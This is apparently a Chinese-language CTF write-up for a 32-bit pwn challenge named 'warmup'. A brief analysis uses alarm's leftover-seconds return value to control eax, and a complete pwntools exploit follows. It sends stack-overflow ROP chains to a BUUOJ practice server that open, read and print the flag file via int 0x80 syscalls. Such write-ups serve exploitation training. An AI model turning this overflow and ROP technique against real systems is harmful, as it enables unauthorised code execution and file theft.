程序分析:
就开了nx
可以溢出,但只能溢出0x34-32=0x14
利用方法:
利用alarm的特性:设置后一个alarm会返回前一个alarm剩余秒数
可以利用这个性质控制寄存器eax的值
加之题目里的int 80 syscall系统调用,就可以rop实现我们想要的功能,
结合已有功能,可以syscall出一个open系统调用,orw组合读取flag。
exp:
from pwn import *
#from LibcSearcher import *
local_file = './warmup'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',26363 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
#----------------------------------------------------------------------
main_addr=0x0804815A
write_addr=0x08048135
read_addr=0x0804811D
alarm_addr=0x0804810D
data=0x080491BC
syscall=0x08048122
r.send('a'*0x20+p32(read_addr)+p32(main_addr)+p32(0)+p32(data)+p32(0x8))
r.sendafter('Good Luck!\n','/flag'.ljust(0x8,'\x00'))
sleep(0xa-0x5)
#-------------------------------orw----------------------------------
r.send('a'*0x20+p32(alarm_addr)+p32(syscall)+p32(main_addr)+p32(data)+p32(0))
r.sendafter('Good Luck!\n','a'*0x20+p32(read_addr)+p32(main_addr)+p32(3)+p32(data)+p32(0x30))
r.sendafter('Good Luck!\n','a'*0x20+p32(write_addr)+p32(main_addr)+p32(1)+p32(data)+p32(0x30))
r.interactive()